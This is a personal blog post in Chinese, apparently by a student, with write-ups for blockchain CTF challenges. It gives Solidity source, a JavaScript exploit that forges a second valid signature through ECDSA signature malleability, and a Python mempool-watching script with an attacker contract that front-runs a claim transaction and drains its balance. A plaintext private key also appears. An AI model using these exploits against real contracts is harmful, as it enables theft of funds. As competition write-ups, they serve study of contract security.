你说得对,但我依旧认为我是最菜的区块链科班生
纯兴趣,没水平
先开个坑,闲得时候慢慢补,毕竟我是彩笔
智能合约漏洞知识点记录
一些比赛记录
SUCTF Onchain Magician
源码如下
pragma solidity 0.8.28;
contract MagicBox {
struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}
address magician;
bytes32 alreadyUsedSignatureHash;
bool isOpened;
constructor() {}
function isSolved() public view returns (bool) {
return isOpened;
}
function getMessageHash(address _magician) public view returns (bytes32) {
return keccak256(abi.encodePacked("I want to open the magic box", _magician, address(this), block.chainid));
}
function _getSignerAndSignatureHash(Signature memory _signature) internal view returns (address, bytes32) {
address signer = ecrecover(getMessageHash(msg.sender), _signature.v, _signature.r, _signature.s);
bytes32 signatureHash = keccak256(abi.encodePacked(_signature.v, _signature.r, _signature.s));
return (signer, signatureHash);
}
function signIn(Signature memory signature) external {
require(magician == address(0), "Magician already signed in");
(address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
require(signer == msg.sender, "Invalid signature");
magician = signer;
alreadyUsedSignatureHash = signatureHash;
}
function openBox(Signature memory signature) external {
require(magician == msg.sender, "Only magician can open the box");
(address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
require(signer == msg.sender, "Invalid signature");
require(signatureHash != alreadyUsedSignatureHash, "Signature already used");
isOpened = true;
}
铁打的信息搜集,流水的知识点
延展性攻击 据此可获得签名对应的两个rsv
参考链接 Solidity中的ecrecover的应用 | 登链社区 | 区块链技术社区
EXP
const ethers = require('ethers');
const elliptic = require('elliptic');
const ec = new elliptic.ec('secp256k1'); // 使用 secp256k1 曲线
const n = ethers.BigNumber.from("0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141");
async function main() {
// 连接到 RPC
const provider = new ethers.providers.JsonRpcProvider('http://1.95.156.61:10002');
// 这是你通过 getMessageHash 获取到的哈希值(假设你已经从 Remix 得到)
const messageHash = "0x4cf6d664658bf60d330827cd0896acd9f0c088e59c1b06f129c8fcab33b3688c"; // Remix 中调用 getMessageHash 后返回的哈希值
// 使用你的私钥创建钱包实例
const wallet = new ethers.Wallet('7de3eb28fb13048d3a984d8dce677f7a721c88e887bd47f201210a08387600b6', provider);
// 使用 ecrecover 时不加前缀,直接签名原始的消息哈希
const signature = await wallet._signingKey().signDigest(messageHash);
// 分解签名,得到 v、r 和 s
const sigParts = ethers.utils.splitSignature(signature);
// 打印签名的 r, s 和 v 部分
console.log("Original Signature:", sigParts);
// 获取 `s` 的补数 s' = n - s
//const curveParams = ethers.utils.getCurveName(ethers.utils.SigningKey); // 默认使用 secp256k1
// 获取 `s` 的补数 s' = n - s
const s = ethers.BigNumber.from(sigParts.s); // 将 s 转换为 BigNumber 类型
const sPrime = n.sub(s); // 使用 BigNumber 进行减法
// 构造伪造签名 sig2
const sig2 = {
r: sigParts.r,
s: sPrime._hex.toString(),//sPrime.toString(),
v: sigParts.v+1,
};
// 输出伪造签名
console.log("Forged Signature:", sig2);
// 验证签名
// 使用 elliptic 库验证签名
const msgHashBuffer = Buffer.from(messageHash.slice(2), 'hex'); // 转换为 Buffer 类型
// 使用 EC 对象的 verify 方法验证签名
const valid = ec.verify(msgHashBuffer, { r: sig2.r, s: sig2.s }, wallet.publicKey);
console.log("Signature verification result:", valid);
}
main().catch((error) => {
console.error(error);
});
NCTF的两道blockchain
源码如下
pragma solidity ^0.8.28;
contract Challenge {
bytes32 public target;
bool public isClaimed;
address public winner;
modifier isNotContract(address _addr) {
uint256 size;
assembly {
size := extcodesize(_addr)
}
require(size == 0, "caller is a contract");
_;
}
constructor(bytes32 _target) payable {
target = _target;
}
function claim(bytes memory answer) public isNotContract(msg.sender) {
require(!isClaimed, "already claimed");
require(keccak256(answer) == target, "bad answer");
isClaimed = true;
winner = msg.sender;
(bool success, ) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success, "failed to send");
}
}
让"猜"哈希,1分钟的检测窗口
依旧是铁打的信息搜集,流水的EXP
智能合约安全审计入门篇 —— 抢跑 | 登链社区 | 区块链技术社区
通过设置更高的Gas Price影响交易被打包的顺序即可完成抢跑攻击
EXP
solve.py
from web3 import Web3
import time
import json
# 连接到以太坊节点
web3 = Web3(Web3.HTTPProvider("http://39.106.16.204:18231/rpc"))
# Challenge 合约的 ABI 和地址
challenge_contract_address = "" # 目标合约地址
challenge_contract_abi = json.loads(open('./build/nctf1_sol_Challenge.abi').read())
# 攻击合约 ABI 和字节码
attack_contract_bytecode = open('./build/solve_sol_Attacker.bin', 'r').read().strip() # 从 .bin 文件中读取字节码
attack_contract_abi = json.loads(open('./build/solve_sol_Attacker.abi', 'r').read()) # 从 .abi 文件中读取 ABI
# 获取当前用户地址(或者攻击者的地址)
deployer_private_key = "" # 攻击者私钥
deployer_address = web3.eth.account.privateKeyToAccount(deployer_private_key).address
# 创建 Challenge 合约实例
challenge_contract = web3.eth.contract(address=challenge_contract_address, abi=challenge_contract_abi)
# 创建攻击合约实例
attack_contract = web3.eth.contract(abi=attack_contract_abi, bytecode=attack_contract_bytecode)
# 构建并发送攻击交易
def send_attack_transaction(correct_answer_bytes):
nonce = web3.eth.get_transaction_count(deployer_address)
# 构造交易
txn = attack_contract.constructor(challenge_contract_address, correct_answer_bytes,deployer_address).build_transaction({
'from': deployer_address,
'nonce': nonce,
'gas': 2000000,
'gasPrice': web3.toWei('100', 'gwei'), # 设置更高的GasPrice来抢跑
})
# 签名交易
signed_txn = web3.eth.account.sign_transaction(txn, private_key=deployer_private_key)
# 发送交易
tx_hash = web3.eth.send_raw_transaction(signed_txn.rawTransaction)
# 等待交易确认
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Attack transaction mined, receipt:", tx_receipt)
# 监听交易池中的交易并捕捉到提交给 Challenge 合约的交易
def monitor_pending_transactions():
while True:
# 获取待处理交易
pending_transactions = web3.eth.get_block('pending')['transactions']
# 遍历交易并检查是否是提交给 Challenge 合约的交易
for tx_hash in pending_transactions:
tx = web3.eth.get_transaction(tx_hash)
if tx.to == challenge_contract_address:
# 交易 data 部分包含了调用目标合约函数时传递的参数
data = tx.input
print(f"Detected transaction to Challenge contract, data: {data}")
# 获取从数据的偏移量 0x20 开始的数据部分,这里即从偏移位置后提取正确答案(假设是 32 字节)
data_bytes = bytes.fromhex(data[2:]) # 去掉前面的 '0x',然后转换为字节
# 获取从数据的偏移量 0x20 开始的数据部分
correct_answer_bytes = data_bytes[68:] # 直接获取字节流
# 打印结果用于调试
print(f"Extracted answer (in bytes): {correct_answer_bytes.hex()}")
# 发送攻击交易
send_attack_transaction(correct_answer_bytes)
break
time.sleep(1) # 每秒检查一次
# 开始监听交易池并准备攻击
monitor_pending_transactions()
solve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
interface IChallenge {
function claim(bytes memory answer) external;
}
contract Attacker {
IChallenge public challengeContract;
// 设置目标合约地址
constructor(address _challengeContract, bytes memory answer,address payable targetAddress) payable {
challengeContract = IChallenge(_challengeContract);
// 在构造函数中直接调用目标合约的 claim 函数
challengeContract.claim(answer);
// 将合约余额转账给指定地址
require(address(this).balance > 0, "No funds to transfer");
targetAddress.transfer(address(this).balance); // 转账给指定地址
}
}
偷了个三血😋)
靶场链接
网上wp太多了,我就不造垃圾了
垃圾既没本事发又不被允许发🤡